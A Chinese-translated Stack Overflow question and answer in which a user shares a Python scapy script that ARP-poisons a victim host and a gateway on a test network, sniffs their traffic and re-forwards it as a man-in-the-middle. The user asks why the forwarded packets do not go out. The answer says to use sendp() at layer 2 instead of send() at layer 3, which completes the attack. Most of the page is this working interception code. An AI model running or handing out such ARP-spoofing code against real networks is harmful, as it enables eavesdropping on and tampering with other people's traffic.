【问题标题】:Man in the middle attack with scapy中间人用 scapy 攻击
【发布时间】:2012-09-21 11:48:48
【问题描述】:

我正在尝试在测试网络上使用scapy 进行中间人攻击。我的设置是这样的:

现在你明白了,下面是代码:

from scapy.all import *
import multiprocessing
import time
class MITM:
  packets=[]
  def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71" ),node2=("192.168.116.1", "00:50:56:c0:00:08")):
    self.victim=victim
    self.node2=node2
    multiprocessing.Process(target=self.arp_poison).start()
    try:
      sniff(filter='((dst %s) and (src %s)) or ( (dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
    except KeyboardInterrupt as e:
      wireshark(packets)
    #self.arp_poison()
  def routep(self,packet):
    if packet.haslayer(IP):
      packet.show()
      if packet[IP].dst==self.victim[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.victim[1]
      elif packet[IP].dst==self.node2[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.node2[1]
      self.packets.append(packet)
      packet.display()
      send(packet)
      print len(self.packets)
      if len(self.packets)==10:
        wireshark(self.packets)
  def arp_poison(self):
    a=ARP()
    a.psrc=self.victim[0]
    a.pdst=self.node2[0]
    b=ARP()
    b.psrc=self.node2[0]
    b.pdst=self.victim[0]
    cond=True
    while cond:
      send(b)
      send(a)
      time.sleep(5)
      #cond=False
if __name__=="__main__":
  mitm=MITM()

此代码在VM2 上运行。

Arp 中毒工作正常,我检查了两台机器的 arp 缓存,行为符合我的预期。但是在routep里面,我修改了src和dst mac地址,并尝试将接收到的数据包发送到适当的主机,scapy给出警告:

WARNING: more Mac address to reach destination not found. Using broadcast

我在VM2 上的wireshark 中看到,修改后的数据包没有离开机器。为什么会这样?我错过了什么吗?

【问题讨论】:

标签: python network-programming exploit scapy man-in-the-middle


【解决方案1】:

如果你使用 scapy 的send(),它可以在第三层工作。来自 scapy 的文档:

send() 函数将在第 3 层发送数据包。也就是说,它将为您处理路由和第 2 层。 sendp() 函数将在第 2 层工作。

如果您使用sendp(),它将不会使用目标 Mac 地址的默认值,并且您的警告将消失。

【讨论】:

    猜你喜欢
    • 2019-07-04
    • 1970-01-01
    • 2018-08-31
    • 1970-01-01
    • 2021-08-09
    • 2011-06-30
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多